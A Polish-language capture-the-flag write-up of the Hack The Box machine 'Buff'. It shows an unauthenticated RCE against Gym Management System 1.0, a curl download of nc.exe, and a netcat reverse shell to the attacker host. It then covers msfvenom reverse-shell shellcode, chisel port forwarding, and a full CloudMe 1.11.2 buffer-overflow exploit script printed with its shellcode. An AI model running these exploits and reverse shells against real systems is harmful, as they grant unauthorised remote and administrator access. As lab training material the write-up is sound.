[HTB] Buff

Krótki opis maszyny:

Buff jest to maszyna z systemem operacyjnym Windows skategoryzowana jako łatwa według serwisu HTB. Maszyna zawiera instancję CMSa: Gym Management System 1.0 w której występuje podatność zdalnego wykonania kodu (RCE). Przy eskalacji uprawnień należy użyć exploit na aplikację CloudMe, który wykorzustuje podatność Buffer Overflow. Z racji tego że na maszynie nie ma zainstalowanego pythona, trzeba skonfigurować Port Forwaring, aby skutecznie uruchomić wcześniej wspomniany exploit.

Tematyka wykorzystana przy atakowaniu maszyny:

Zdalne wykonanie kodu (RCE)

Port Forwarding

Buffer Overflow

Skanowanie & uzyskanie uprawnień użytkownika poprzez RCE

Jak zwykle w fazie wstępnej użyłem narzędzia nmap, by stwierdzić które porty na maszynie są otwarte:

sudo nmap -sV -n -Pn -v 10.10.10.198
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)

Na maszynie wystawiony jest serwer HTTP na porcie 8080. Sprawdźmy go:

Strona startowa

Jest to aplikacja webowa klubu fitness. W zakładce Contact znalazłem istotną informację:

Informacja o CMSie

Gym Management Software w wersji 1.0 jest System Zarządzania Treścią, który posiada wiele podatności. Wylistowałem je:

searchsploit gym management system

Searchsploit wyrzucił mi kilka wyników. Zdecydowanie najciekawszym okazał się:

Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py

Exploit pozwala na zdalne wykonanie kodu przez nieautoryzowanego użytkownika. Sprawdźmy to:

sudo python 48506.py http://10.10.10.198:8080/
            /\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
            \/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
�PNG
�
buff\shaun

Niestety uzyskana powłoka jest nieco ograniczona. Dlatego od razu przeszedłem do uzyskania reverse shella z wykorzystaniem netcata. W tym celu przeniosłem na maszynę aplikację nc.exe i wykorzystując ją uzyskałem połączenie zwrotne:

C:\xampp\htdocs\gym\upload> curl -O http://10.10.14.9:8000/nc.exe
�PNG
�
C:\xampp\htdocs\gym\upload> nc.exe 10.10.14.9 1234 -e cmd.exe
�PNG
�

Kali:

$ nc -nlvp 1234
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.198.
Ncat: Connection from 10.10.10.198:49708.
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>whoami
whoami
buff\shaun

Po czym przeszedłem na pulpit użytkownika shaun i tam odczytałem pierwszą flagę:

C:\Users\shaun\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Desktop

14/07/2020  12:27    <DIR>          .
14/07/2020  12:27    <DIR>          ..
02/12/2020  11:27                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   7,493,300,224 bytes free

Uzyskanie uprawnień Administratora

Po krótkim rekonesansie, w folderze Downloads znalazłem oprogramowanie:

C:\Users\shaun\Downloads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020  12:27    <DIR>          .
14/07/2020  12:27    <DIR>          ..
16/06/2020  15:26        17,830,824 CloudMe_1112.exe
               1 File(s)     17,830,824 bytes
               2 Dir(s)   7,627,120,640 bytes free

CloudMe jest to usługa przechowywania plików, która oferuje przechowywanie plików w chmurze. W folderze znajduje się zatem oprogramowanie klienckie które to cierpi na podatność typu BufferOverflow. Możemy to wykorzystać przy eskalacji uprawnień. W internecie znalazłem gotowy exploit:

https://www.exploit-db.com/exploits/48389

Z kodu exploita wynika, że usługa powinna działać na porcie 8888. Sprawdziłem zatem aktywne połączenia sieciowe na maszynie:

C:\Users\shaun\Downloads>netstat -an | findstr "LISTENING"
netstat -an | findstr "LISTENING"
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING
  TCP    10.10.10.198:139       0.0.0.0:0              LISTENING
  TCP    127.0.0.1:3306         0.0.0.0:0              LISTENING
  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING
  TCP    [::]:135               [::]:0                 LISTENING
  TCP    [::]:445               [::]:0                 LISTENING
  TCP    [::]:7680              [::]:0                 LISTENING
  TCP    [::]:8080              [::]:0                 LISTENING
  TCP    [::]:49664             [::]:0                 LISTENING
  TCP    [::]:49665             [::]:0                 LISTENING
  TCP    [::]:49666             [::]:0                 LISTENING
  TCP    [::]:49667             [::]:0                 LISTENING
  TCP    [::]:49668             [::]:0                 LISTENING
  TCP    [::]:49669             [::]:0                 LISTENING

Zatem wszystko się zgadza, usługa jest aktywna.

Generacja własnego shellcodu

Po pierwsze wygenerowałem własny shellcode, który podmieniłem w exploicie:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=1337 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of c file: 1386 bytes
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a\x0e\x09\x68"
"\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

Jednakże exploit wykorzystujący podatnoć BOF jest napisany w pythonie. Na maszynie nie mamy zainstalowanego interpretera pythona. Napotkałem w tym momencie pewną trudność, którą rozwiązałem wykonując port forwarding.

Port Forwarding z użyciem narzędzia chisel

Na początku sprawdziłem architekturę systemu:

C:\xampp\htdocs\gym\upload>wmic os get osarchitecture
wmic os get osarchitecture
OSArchitecture  
64-bit  

Na kalim uruchomiłem server z nasłuchem na porcie 9999:

kali@kali:~/HackTheBox/Buff/chisel$ ./chisel server -p 9999 --reverse
2020/12/03 13:29:43 server: Reverse tunnelling enabled
2020/12/03 13:29:43 server: Fingerprint sM+7jec8+pxFN6ZcUpTiKJNmzAWnMpP7OpWrqzPCiEU=
2020/12/03 13:29:43 server: Listening on http://0.0.0.0:9999
2020/12/03 13:30:40 server: session#1: Client version (1.7.3) differs from server version (0.0.0-src)
2020/12/03 13:30:40 server: session#1: tun: proxy#R:8888=>8888: Listening

Pobrałem odpowiednią wersję oprogramowania chisel na Windowsa i przeniosłem go na maszynę Buff. Następnie uruchomiłem klienta i tym samym zestawiłem tunel z maszyną atakującą:

C:\xampp\htdocs\gym\upload>chisel.exe client 10.10.14.9:9999 R:8888:127.0.0.1:8888
chisel.exe client 10.10.14.9:9999 R:8888:127.0.0.1:8888
2020/12/03 18:30:37 client: Connecting to ws://10.10.14.9:9999
2020/12/03 18:30:38 client: Connected (Latency 135.2038ms)

Następnie uruchomiłem Metasploita i tam ustawiłem nasłuch na porcie 1337 (zgodnie z wcześniejszym shellcodem).

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/shell_reverse_tcp 
payload => windows/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.14.9
lhost => 10.10.14.9
msf6 exploit(multi/handler) > set lport 1337
lport => 1337
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 10.10.14.9:1337 

W końcu uruchomiłem wcześniej wspomniany exploit:

sudo python exploit.py

Po chwili dostałem połączenie zwrotne z powłoką administratora:

msf6 exploit(multi/handler) > exploit
[] Started reverse TCP handler on 10.10.14.9:1337 [] Command shell session 1 opened (10.10.14.9:1337 -> 10.10.10.198:49688) at 2020-12-03 13:38:33 -0500

C:\Windows\system32>whoami
whoami
buff\administrator

Dodatek: Użyty exploit wraz z wygenerowanym shellcodem

# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=1337 -f c
payload   = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
payload   += b"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
payload   += b"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
payload   += b"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
payload   += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
payload   += b"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
payload   += b"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
payload   += b"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
payload   += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
payload   += b"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
payload   += b"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
payload   += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
payload   += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a\x0e\x09\x68"
payload   += b"\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
payload   += b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
payload   += b"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
payload   += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
payload   += b"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
payload   += b"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
payload   += b"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
payload   += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
payload   += b"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))	

buf = padding1 + EIP + NOPS + payload + overrun 

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(buf)
except Exception as e:
	print(sys.exc_value)